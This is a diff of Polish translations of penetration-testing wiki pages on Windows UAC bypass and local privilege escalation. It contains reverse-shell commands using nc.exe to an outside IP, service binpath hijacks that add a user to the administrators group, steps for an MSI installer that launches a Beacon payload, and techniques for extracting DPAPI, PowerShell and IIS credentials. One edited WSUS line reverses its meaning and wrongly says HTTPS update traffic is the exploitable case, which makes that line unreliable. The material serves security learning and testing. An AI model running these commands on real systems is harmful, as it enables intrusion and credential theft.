| [Kontrola Konta Użytkownika: Uruchom wszystkich administratorów w Trybie Zatwierdzania Administratora](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Włączone |
| [Kontrola Konta Użytkownika: Przełącz na bezpieczny pulpit podczas wyświetlania komunikatu o podwyższeniu](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Włączone |
| [Kontrola Konta Użytkownika: Wirtualizuj błędy zapisu plików i rejestru do lokalizacji per-user](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Włączone |
### Teoria Ominięcia UAC
@ -46,7 +46,7 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA REG_DWORD 0x1
```
Jeśli to jest **`1`**, to UAC jest **aktywowany**, jeśli to **`0`** lub **nie istnieje**, to UAC jest **nieaktywny**.
Jeśli to jest **`1`**, to UAC jest **aktywowany**, jeśli to jest **`0`** lub **nie istnieje**, to UAC jest **nieaktywny**.
Następnie sprawdź **jaki poziom** jest skonfigurowany:
```
@ -55,18 +55,18 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
```
- Jeśli **`0`**, to UAC nie będzie pytać (jak **wyłączone**)
- Jeśli **`0`**, UAC nie będzie pytać (jak **wyłączone**)
- Jeśli **`1`**, administrator jest **proszony o nazwę użytkownika i hasło** do wykonania binarnego z wysokimi uprawnieniami (na Secure Desktop)
- Jeśli **`2`** (**Zawsze powiadamiaj mnie**) UAC zawsze poprosi o potwierdzenie administratora, gdy spróbuje wykonać coś z wysokimi uprawnieniami (na Secure Desktop)
- Jeśli **`3`**, jak `1`, ale niekoniecznie na Secure Desktop
- Jeśli **`4`**, jak `2`, ale niekoniecznie na Secure Desktop
- jeśli **`5`**(**domyślnie**) poprosi administratora o potwierdzenie uruchomienia binarnych nie-Windows z wysokimi uprawnieniami
- Jeśli **`5`** (**domyślnie**) poprosi administratora o potwierdzenie uruchomienia binarnych, które nie są systemem Windows, z wysokimi uprawnieniami
Następnie musisz spojrzeć na wartość **`LocalAccountTokenFilterPolicy`**\
Jeśli wartość to **`0`**, to tylko użytkownik **RID 500** (**wbudowany Administrator**) może wykonywać **zadania administracyjne bez UAC**, a jeśli to `1`, **wszystkie konta w grupie "Administratorzy"** mogą to robić.
I na koniec spójrz na wartość klucza **`FilterAdministratorToken`**\
Jeśli **`0`**(domyślnie), **wbudowane konto Administratora może** wykonywać zadania zdalnej administracji, a jeśli **`1`**, wbudowane konto Administratora **nie może** wykonywać zadań zdalnej administracji, chyba że `LocalAccountTokenFilterPolicy` jest ustawione na `1`.
Jeśli **`0`** (domyślnie), **wbudowane konto Administratora może** wykonywać zadania zdalnej administracji, a jeśli **`1`**, wbudowane konto Administratora **nie może** wykonywać zdalnych zadań administracyjnych, chyba że `LocalAccountTokenFilterPolicy` jest ustawione na `1`.
#### Podsumowanie
@ -93,18 +93,18 @@ Ważne jest, aby wspomnieć, że **znacznie trudniej jest obejść UAC, jeśli j
### UAC disabled
Jeśli UAC jest już wyłączone (`ConsentPromptBehaviorAdmin` to **`0`**), możesz **wykonać odwrotną powłokę z uprawnieniami administratora** (wysoki poziom integralności) używając czegoś takiego jak:
Jeśli UAC jest już wyłączone (`ConsentPromptBehaviorAdmin` to **`0`**), możesz **wykonać reverse shell z uprawnieniami administratora** (wysoki poziom integralności) używając czegoś takiego:
```bash
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
```
#### UAC bypass z duplikacją tokenów
#### UAC obejście z duplikacją tokenów
- [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
- [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
### **Bardzo** podstawowy "bypass" UAC (pełny dostęp do systemu plików)
### **Bardzo** podstawowe "obejście" UAC (pełny dostęp do systemu plików)
Jeśli masz powłokę z użytkownikiem, który jest w grupie Administratorzy, możesz **zamontować C$** udostępnione przez SMB (system plików) lokalnie na nowym dysku i będziesz miał **dostęp do wszystkiego w systemie plików** (nawet do folderu domowego Administratora).
@ -174,12 +174,12 @@ Jeśli nie zależy ci na hałasie, zawsze możesz **uruchomić coś takiego jak*
### Twoje własne obejście - Podstawowa metodologia obejścia UAC
Jeśli spojrzysz na **UACME**, zauważysz, że **większość obejść UAC nadużywa podatności Dll Hijacking** (głównie pisząc złośliwy dll w _C:\Windows\System32_). [Przeczytaj to, aby dowiedzieć się, jak znaleźć podatność Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/).
Jeśli spojrzysz na **UACME**, zauważysz, że **większość obejść UAC nadużywa podatności Dll Hijacking** (głównie pisząc złośliwy dll w _C:\Windows\System32_). [Przeczytaj to, aby dowiedzieć się, jak znaleźć podatność Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/index.html).
1. Znajdź binarny, który będzie **autoelevate** (sprawdź, czy po uruchomieniu działa na wysokim poziomie integralności).
2. Za pomocą procmon znajdź zdarzenia "**NAME NOT FOUND**", które mogą być podatne na **DLL Hijacking**.
2. Użyj procmon, aby znaleźć zdarzenia "**NAME NOT FOUND**", które mogą być podatne na **DLL Hijacking**.
3. Prawdopodobnie będziesz musiał **napisać** DLL wewnątrz niektórych **chronionych ścieżek** (takich jak C:\Windows\System32), gdzie nie masz uprawnień do zapisu. Możesz to obejść, używając:
1. **wusa.exe**: Windows 7, 8 i 8.1. Umożliwia to wyodrębnienie zawartości pliku CAB w chronionych ścieżkach (ponieważ to narzędzie jest uruchamiane z wysokim poziomem integralności).
1. **wusa.exe**: Windows 7, 8 i 8.1. Umożliwia to wyodrębnienie zawartości pliku CAB w chronionych ścieżkach (ponieważ to narzędzie jest uruchamiane z wysokiego poziomu integralności).
2. **IFileOperation**: Windows 10.
4. Przygotuj **skrypt**, aby skopiować swój DLL do chronionej ścieżki i uruchomić podatny i autoelevated binarny.

View File

@ -112,7 +112,7 @@ Stop-Transcript
```
### PowerShell Module Logging
Szczegóły wykonania potoków PowerShell są rejestrowane, obejmując wykonane polecenia, wywołania poleceń i części skryptów. Jednakże, szczegółowe informacje o wykonaniu i wyniki wyjściowe mogą nie być rejestrowane.
Szczegóły wykonania potoków PowerShell są rejestrowane, obejmując wykonane polecenia, wywołania poleceń i części skryptów. Jednakże, pełne szczegóły wykonania i wyniki wyjściowe mogą nie być rejestrowane.
Aby to włączyć, postępuj zgodnie z instrukcjami w sekcji "Pliki transkrypcyjne" dokumentacji, wybierając **"Module Logging"** zamiast **"Powershell Transcription"**.
```bash
@ -127,14 +127,14 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
```
### PowerShell **Script Block Logging**
Pełny zapis aktywności i zawartości wykonania skryptu jest rejestrowany, zapewniając, że każdy blok kodu jest dokumentowany w trakcie jego działania. Proces ten zachowuje kompleksowy ślad audytowy każdej aktywności, co jest cenne dla analizy kryminalistycznej i analizy złośliwego zachowania. Dokumentując wszystkie działania w momencie wykonania, dostarczane są szczegółowe informacje na temat procesu.
Pełny zapis aktywności i zawartości wykonania skryptu jest rejestrowany, zapewniając, że każdy blok kodu jest dokumentowany w trakcie jego działania. Proces ten zachowuje kompleksowy ślad audytowy każdej aktywności, co jest cenne dla analizy kryminalistycznej i analizy złośliwego zachowania. Dokumentując wszystkie aktywności w momencie wykonania, dostarczane są szczegółowe informacje na temat procesu.
```bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
```
Zdarzenia logowania dla Bloku Skryptu można znaleźć w Podglądzie zdarzeń systemu Windows pod ścieżką: **Dzienniki aplikacji i usług > Microsoft > Windows > PowerShell > Operacyjny**.\
Zdarzenia logowania dla Script Block można znaleźć w Podglądzie zdarzeń systemu Windows pod ścieżką: **Dzienniki aplikacji i usług > Microsoft > Windows > PowerShell > Operacyjny**.\
Aby wyświetlić ostatnie 20 zdarzeń, możesz użyć:
```bash
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
@ -152,7 +152,7 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}|
```
## WSUS
Możesz skompromitować system, jeśli aktualizacje nie są żądane za pomocą http**S**, ale http.
Możesz skompromitować system, jeśli aktualizacje są żądane za pomocą http**S**, a nie http.
Zaczynasz od sprawdzenia, czy sieć używa aktualizacji WSUS bez SSL, uruchamiając następujące:
```
@ -163,11 +163,11 @@ Jeśli otrzymasz odpowiedź taką jak:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
```
A jeśli `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` jest równy `1`.
A jeśli `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` jest równe `1`.
Wtedy, **jest to podatne na atak.** Jeśli ostatni rejestr jest równy 0, to wpis WSUS zostanie zignorowany.
Aby wykorzystać te luki, możesz użyć narzędzi takich jak: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - są to zbrojone skrypty exploitów MiTM do wstrzykiwania 'fałszywych' aktualizacji do ruchu WSUS bez SSL.
Aby wykorzystać te luki, możesz użyć narzędzi takich jak: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - są to zbrojne skrypty exploitów MiTM do wstrzykiwania 'fałszywych' aktualizacji do ruchu WSUS bez SSL.
Przeczytaj badania tutaj:
@ -180,13 +180,13 @@ Zasadniczo, to jest wada, którą wykorzystuje ten błąd:
> Jeśli mamy możliwość modyfikacji naszego lokalnego proxy użytkownika, a Windows Update używa proxy skonfigurowanego w ustawieniach Internet Explorera, to mamy możliwość uruchomienia [PyWSUS](https://github.com/GoSecure/pywsus) lokalnie, aby przechwycić nasz własny ruch i uruchomić kod jako podwyższony użytkownik na naszym zasobie.
>
> Ponadto, ponieważ usługa WSUS używa ustawień bieżącego użytkownika, będzie również korzystać z jego magazynu certyfikatów. Jeśli wygenerujemy certyfikat samopodpisany dla nazwy hosta WSUS i dodamy ten certyfikat do magazynu certyfikatów bieżącego użytkownika, będziemy w stanie przechwycić zarówno ruch WSUS HTTP, jak i HTTPS. WSUS nie używa mechanizmów podobnych do HSTS, aby wdrożyć walidację typu trust-on-first-use na certyfikacie. Jeśli przedstawiony certyfikat jest zaufany przez użytkownika i ma poprawną nazwę hosta, zostanie zaakceptowany przez usługę.
> Ponadto, ponieważ usługa WSUS używa ustawień bieżącego użytkownika, będzie również korzystać z jego magazynu certyfikatów. Jeśli wygenerujemy certyfikat samopodpisany dla nazwy hosta WSUS i dodamy ten certyfikat do magazynu certyfikatów bieżącego użytkownika, będziemy mogli przechwycić zarówno ruch WSUS HTTP, jak i HTTPS. WSUS nie używa mechanizmów podobnych do HSTS, aby wdrożyć walidację typu trust-on-first-use na certyfikacie. Jeśli przedstawiony certyfikat jest zaufany przez użytkownika i ma poprawną nazwę hosta, zostanie zaakceptowany przez usługę.
Możesz wykorzystać tę lukę, używając narzędzia [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (gdy zostanie uwolnione).
## KrbRelayUp
Luka **w podwyższaniu uprawnień lokalnych** istnieje w środowiskach **domenowych** Windows w określonych warunkach. Warunki te obejmują środowiska, w których **podpisywanie LDAP nie jest egzekwowane,** użytkownicy mają prawa do samodzielnego konfigurowania **Resource-Based Constrained Delegation (RBCD)** oraz możliwość tworzenia komputerów w domenie. Ważne jest, aby zauważyć, że te **wymagania** są spełnione przy użyciu **ustawień domyślnych**.
Luka **w podwyższaniu uprawnień lokalnych** istnieje w środowiskach **domenowych** Windows w określonych warunkach. Warunki te obejmują środowiska, w których **podpisywanie LDAP nie jest wymuszane,** użytkownicy mają prawa do samodzielnego konfigurowania **Resource-Based Constrained Delegation (RBCD)** oraz możliwość tworzenia komputerów w domenie. Ważne jest, aby zauważyć, że te **wymagania** są spełnione przy użyciu **domyślnych ustawień**.
Znajdź **exploit w** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
@ -234,11 +234,11 @@ create-msi-with-wix.md
- Otwórz **Visual Studio**, wybierz **Utwórz nowy projekt** i wpisz "installer" w polu wyszukiwania. Wybierz projekt **Setup Wizard** i kliknij **Dalej**.
- Nadaj projektowi nazwę, na przykład **AlwaysPrivesc**, użyj **`C:\privesc`** jako lokalizacji, wybierz **umieść rozwiązanie i projekt w tym samym katalogu**, a następnie kliknij **Utwórz**.
- Klikaj **Dalej**, aż dojdziesz do kroku 3 z 4 (wybierz pliki do dołączenia). Kliknij **Dodaj** i wybierz ładunek Beacon, który właśnie wygenerowałeś. Następnie kliknij **Zakończ**.
- Podświetl projekt **AlwaysPrivesc** w **Eksploratorze rozwiązań** i w **Właściwościach** zmień **TargetPlatform** z **x86** na **x64**.
- Zaznacz projekt **AlwaysPrivesc** w **Eksploratorze rozwiązań** i w **Właściwościach** zmień **TargetPlatform** z **x86** na **x64**.
- Istnieją inne właściwości, które możesz zmienić, takie jak **Autor** i **Producent**, co może sprawić, że zainstalowana aplikacja będzie wyglądać bardziej wiarygodnie.
- Kliknij prawym przyciskiem myszy na projekt i wybierz **Widok > Akcje niestandardowe**.
- Kliknij prawym przyciskiem myszy **Instaluj** i wybierz **Dodaj akcję niestandardową**.
- Kliknij dwukrotnie na **Folder aplikacji**, wybierz swój plik **beacon.exe** i kliknij **OK**. To zapewni, że ładunek beacon zostanie uruchomiony, gdy tylko instalator zostanie uruchomiony.
- Kliknij dwukrotnie na **Folder aplikacji**, wybierz swój plik **beacon.exe** i kliknij **OK**. To zapewni, że ładunek beacon zostanie uruchomiony, gdy instalator zostanie uruchomiony.
- W **Właściwościach akcji niestandardowej** zmień **Run64Bit** na **True**.
- Na koniec **zbuduj to**.
- Jeśli pojawi się ostrzeżenie `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, upewnij się, że ustawiłeś platformę na x64.
@ -267,7 +267,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
```
### LAPS
**LAPS** jest zaprojektowany do **zarządzania lokalnymi hasłami administratorów**, zapewniając, że każde hasło jest **unikalne, losowe i regularnie aktualizowane** na komputerach dołączonych do domeny. Te hasła są bezpiecznie przechowywane w Active Directory i mogą być dostępne tylko dla użytkowników, którzy otrzymali wystarczające uprawnienia przez ACL, co pozwala im na przeglądanie lokalnych haseł administratorów, jeśli są upoważnieni.
**LAPS** jest zaprojektowany do **zarządzania lokalnymi hasłami Administratora**, zapewniając, że każde hasło jest **unikalne, losowe i regularnie aktualizowane** na komputerach dołączonych do domeny. Te hasła są bezpiecznie przechowywane w Active Directory i mogą być dostępne tylko dla użytkowników, którzy otrzymali wystarczające uprawnienia przez ACL, co pozwala im na przeglądanie lokalnych haseł administratora, jeśli są upoważnieni.
{{#ref}}
../active-directory-methodology/laps.md
@ -359,7 +359,7 @@ powershell -command "Get-Clipboard"
### Uprawnienia do plików i folderów
Przede wszystkim, wypisz procesy **sprawdź hasła w linii poleceń procesu**.\
Sprawdź, czy możesz **nadpisać jakiś działający plik binarny** lub czy masz uprawnienia do zapisu w folderze binarnym, aby wykorzystać możliwe [**ataki DLL Hijacking**](dll-hijacking/):
Sprawdź, czy możesz **nadpisać jakiś działający plik binarny** lub czy masz uprawnienia do zapisu w folderze binarnym, aby wykorzystać możliwe [**ataki DLL Hijacking**](dll-hijacking/index.html):
```bash
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
@ -372,7 +372,7 @@ Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
```
Zawsze sprawdzaj, czy działają możliwe [**debuggery electron/cef/chromium**; możesz je wykorzystać do eskalacji uprawnień](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
**Sprawdzanie uprawnień binarnych procesów**
**Sprawdzanie uprawnień binariów procesów**
```bash
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
@ -381,7 +381,7 @@ icacls "%%z"
)
)
```
**Sprawdzanie uprawnień folderów binarnych procesów (**[**DLL Hijacking**](dll-hijacking/)**)**
**Sprawdzanie uprawnień folderów binarnych procesów (**[**DLL Hijacking**](dll-hijacking/index.html)**)**
```bash
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
@ -395,7 +395,7 @@ Możesz utworzyć zrzut pamięci działającego procesu za pomocą **procdump**
```bash
procdump.exe -accepteula -ma <proc_name_tasklist>
```
### Niezabezpieczone aplikacje GUI
### Niebezpieczne aplikacje GUI
**Aplikacje działające jako SYSTEM mogą umożliwić użytkownikowi uruchomienie CMD lub przeglądanie katalogów.**
@ -433,8 +433,8 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
Jeśli masz ten błąd (na przykład z SSDPSRV):
_Wystąpił błąd systemu 1058._\
&#xNAN;_&#x54;usługa nie może zostać uruchomiona, ponieważ jest wyłączona lub nie ma powiązanych z nią włączonych urządzeń._
_Błąd systemu 1058 wystąpił._\
&#xNAN;_&#x54;usługa nie może zostać uruchomiona, ponieważ jest wyłączona lub nie ma z nią powiązanych włączonych urządzeń._
Możesz ją włączyć używając
```bash
@ -447,9 +447,9 @@ sc config SSDPSRV obj= ".\LocalSystem" password= ""
```
sc.exe config usosvc start= auto
```
### **Zmień ścieżkę binarną usługi**
### **Zmodyfikuj ścieżkę binarną usługi**
W scenariuszu, w którym grupa "Użytkownicy uwierzytelnieni" posiada **SERVICE_ALL_ACCESS** do usługi, możliwa jest modyfikacja binarnego pliku wykonywalnego usługi. Aby zmodyfikować i wykonać **sc**:
W scenariuszu, w którym grupa "Użytkownicy uwierzytelnieni" posiada **SERVICE_ALL_ACCESS** do usługi, modyfikacja binarnego pliku wykonywalnego usługi jest możliwa. Aby zmodyfikować i wykonać **sc**:
```bash
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
@ -474,7 +474,7 @@ Do wykrywania i wykorzystania tej podatności można wykorzystać _exploit/windo
### Słabe uprawnienia binarnych plików usług
**Sprawdź, czy możesz zmodyfikować binarny plik, który jest wykonywany przez usługę** lub czy masz **uprawnienia do zapisu w folderze**, w którym znajduje się binarny plik ([**DLL Hijacking**](dll-hijacking/))**.**\
**Sprawdź, czy możesz zmodyfikować binarny plik, który jest wykonywany przez usługę** lub czy masz **uprawnienia do zapisu w folderze**, w którym znajduje się binarny plik ([**DLL Hijacking**](dll-hijacking/index.html))**.**\
Możesz uzyskać każdy binarny plik, który jest wykonywany przez usługę, używając **wmic** (nie w system32) i sprawdzić swoje uprawnienia za pomocą **icacls**:
```bash
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
@ -555,7 +555,7 @@ Windows pozwala użytkownikom określić działania, które mają być podjęte,
### Installed Applications
Sprawdź **uprawnienia plików binarnych** (może uda ci się nadpisać jeden i eskalować uprawnienia) oraz **folderów** ([DLL Hijacking](dll-hijacking/)).
Sprawdź **uprawnienia plików binarnych** (może uda ci się nadpisać jeden i eskalować uprawnienia) oraz **folderów** ([DLL Hijacking](dll-hijacking/index.html)).
```bash
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
@ -612,7 +612,7 @@ driverquery /SI
Jeśli masz **uprawnienia do zapisu w folderze znajdującym się na PATH**, możesz być w stanie przejąć DLL ładowany przez proces i **eskalować uprawnienia**.
Sprawdź uprawnienia wszystkich folderów w PATH:
Sprawdź uprawnienia wszystkich folderów znajdujących się na PATH:
```bash
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
```
@ -662,7 +662,7 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
```
### Zasady zapory
[**Sprawdź tę stronę pod kątem poleceń związanych z zaporą**](../basic-cmd-for-pentesters.md#firewall) **(lista zasad, tworzenie zasad, wyłączanie, wyłączanie...)**
[**Sprawdź tę stronę, aby uzyskać polecenia związane z zaporą**](../basic-cmd-for-pentesters.md#firewall) **(lista zasad, tworzenie zasad, wyłączanie, wyłączanie...)**
Więcej[ poleceń do enumeracji sieci tutaj](../basic-cmd-for-pentesters.md#network)
@ -673,7 +673,7 @@ C:\Windows\System32\wsl.exe
```
Binary `bash.exe` można również znaleźć w `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe`
Jeśli uzyskasz dostęp do użytkownika root, możesz nasłuchiwać na dowolnym porcie (za pierwszym razem, gdy użyjesz `nc.exe` do nasłuchiwania na porcie, zapyta za pomocą GUI, czy `nc` powinien być dozwolony przez zaporę).
Jeśli uzyskasz dostęp do użytkownika root, możesz nasłuchiwać na dowolnym porcie (za pierwszym razem, gdy użyjesz `nc.exe` do nasłuchiwania na porcie, zapyta przez GUI, czy `nc` powinien być dozwolony przez zaporę).
```bash
wsl whoami
./ubuntun1604.exe config --default-user root
@ -703,9 +703,9 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
Z [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
Skarbiec Windows przechowuje poświadczenia użytkowników dla serwerów, stron internetowych i innych programów, które **Windows** może **automatycznie logować użytkowników**. Na pierwszy rzut oka może się wydawać, że użytkownicy mogą przechowywać swoje poświadczenia do Facebooka, Twittera, Gmaila itp., aby automatycznie logować się przez przeglądarki. Ale tak nie jest.
Skarbiec Windows przechowuje poświadczenia, które Windows może automatycznie logować użytkowników, co oznacza, że każda **aplikacja Windows, która potrzebuje poświadczeń do uzyskania dostępu do zasobu** (serwera lub strony internetowej) **może korzystać z tego Menedżera poświadczeń** i Skarbca Windows oraz używać dostarczonych poświadczeń zamiast użytkowników wprowadzających nazwę użytkownika i hasło za każdym razem.
Skarbiec Windows przechowuje poświadczenia, które Windows może automatycznie logować użytkowników, co oznacza, że każda **aplikacja Windows, która potrzebuje poświadczeń do uzyskania dostępu do zasobu** (serwera lub strony internetowej) **może korzystać z tego Menedżera poświadczeń** i Skarbca Windows oraz używać dostarczonych poświadczeń zamiast użytkowników wprowadzać nazwę użytkownika i hasło za każdym razem.
O ile aplikacje nie współdziałają z Menedżerem poświadczeń, nie sądzę, aby mogły korzystać z poświadczeń dla danego zasobu. Dlatego, jeśli twoja aplikacja chce korzystać ze skarbca, powinna w jakiś sposób **komunikować się z menedżerem poświadczeń i żądać poświadczeń dla tego zasobu** z domyślnego skarbca.
O ile aplikacje nie współdziałają z Menedżerem poświadczeń, nie sądzę, aby mogły używać poświadczeń dla danego zasobu. Dlatego, jeśli Twoja aplikacja chce korzystać ze skarbca, powinna w jakiś sposób **komunikować się z menedżerem poświadczeń i żądać poświadczeń dla tego zasobu** z domyślnego skarbca.
Użyj `cmdkey`, aby wyświetlić zapisane poświadczenia na maszynie.
```bash
@ -731,14 +731,14 @@ Zauważ, że mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/uti
**DPAPI umożliwia szyfrowanie kluczy za pomocą klucza symetrycznego, który jest pochodną sekretów logowania użytkownika**. W scenariuszach związanych z szyfrowaniem systemu wykorzystuje sekrety uwierzytelniania domeny systemu.
Szyfrowane klucze RSA użytkownika, przy użyciu DPAPI, są przechowywane w katalogu `%APPDATA%\Microsoft\Protect\{SID}`, gdzie `{SID}` reprezentuje [Identifikator bezpieczeństwa](https://en.wikipedia.org/wiki/Security_Identifier) użytkownika. **Klucz DPAPI, współlokowany z kluczem głównym, który chroni prywatne klucze użytkownika w tym samym pliku**, zazwyczaj składa się z 64 bajtów losowych danych. (Ważne jest, aby zauważyć, że dostęp do tego katalogu jest ograniczony, co uniemożliwia wyświetlenie jego zawartości za pomocą polecenia `dir` w CMD, chociaż można go wyświetlić za pomocą PowerShell).
Szyfrowane klucze RSA użytkownika, przy użyciu DPAPI, są przechowywane w katalogu `%APPDATA%\Microsoft\Protect\{SID}`, gdzie `{SID}` reprezentuje [Identifikator bezpieczeństwa](https://en.wikipedia.org/wiki/Security_Identifier) użytkownika. **Klucz DPAPI, współlokalizowany z kluczem głównym, który chroni prywatne klucze użytkownika w tym samym pliku**, zazwyczaj składa się z 64 bajtów losowych danych. (Ważne jest, aby zauważyć, że dostęp do tego katalogu jest ograniczony, co uniemożliwia wyświetlenie jego zawartości za pomocą polecenia `dir` w CMD, chociaż można go wyświetlić za pomocą PowerShell).
```powershell
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
```
Możesz użyć **mimikatz module** `dpapi::masterkey` z odpowiednimi argumentami (`/pvk` lub `/rpc`), aby go odszyfrować.
Pliki **poświadczeń chronione hasłem głównym** zazwyczaj znajdują się w:
**Pliki poświadczeń chronione hasłem głównym** zazwyczaj znajdują się w:
```powershell
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
@ -756,7 +756,7 @@ dpapi-extracting-passwords.md
**Poświadczenia PowerShell** są często używane do **skryptowania** i zadań automatyzacji jako sposób na wygodne przechowywanie zaszyfrowanych poświadczeń. Poświadczenia są chronione za pomocą **DPAPI**, co zazwyczaj oznacza, że mogą być odszyfrowane tylko przez tego samego użytkownika na tym samym komputerze, na którym zostały utworzone.
Aby **odszyfrować** poświadczenia PS z pliku, który je zawiera, możesz zrobić:
Aby **odszyfrować** poświadczenia PS z pliku, który je zawiera, możesz to zrobić:
```powershell
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
@ -786,7 +786,7 @@ i w `HKCU\Software\Microsoft\Terminal Server Client\Servers\`
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
```
### **Menadżer poświadczeń pulpitu zdalnego**
### **Menedżer poświadczeń pulpitu zdalnego**
```
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
```
@ -800,7 +800,7 @@ Ludzie często używają aplikacji StickyNotes na stacjach roboczych z systemem
### AppCmd.exe
**Zauważ, że aby odzyskać hasła z AppCmd.exe, musisz być administratorem i działać na wysokim poziomie integralności.**\
**AppCmd.exe** znajduje się w katalogu `%systemroot%\system32\inetsrv\`.\
**AppCmd.exe** znajduje się w katalogu `%systemroot%\system32\inetsrv\` .\
Jeśli ten plik istnieje, to możliwe, że skonfigurowano jakieś **poświadczenia**, które można **odzyskać**.
Ten kod został wyodrębniony z [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1):
@ -883,7 +883,7 @@ $ErrorActionPreference = $OrigError
```
### SCClient / SCCM
Sprawdź, czy istnieje `C:\Windows\CCM\SCClient.exe` .\
Sprawdź, czy `C:\Windows\CCM\SCClient.exe` istnieje.\
Instalatory są **uruchamiane z uprawnieniami SYSTEM**, wiele z nich jest podatnych na **DLL Sideloading (Info from** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
```bash
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
@ -909,7 +909,7 @@ reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
Jeśli znajdziesz jakikolwiek wpis w tym katalogu, prawdopodobnie będzie to zapisany klucz SSH. Jest on przechowywany w formie zaszyfrowanej, ale można go łatwo odszyfrować za pomocą [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\
Więcej informacji na temat tej techniki znajdziesz tutaj: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
Jeśli usługa `ssh-agent` nie działa i chcesz, aby uruchamiała się automatycznie przy starcie, uruchom:
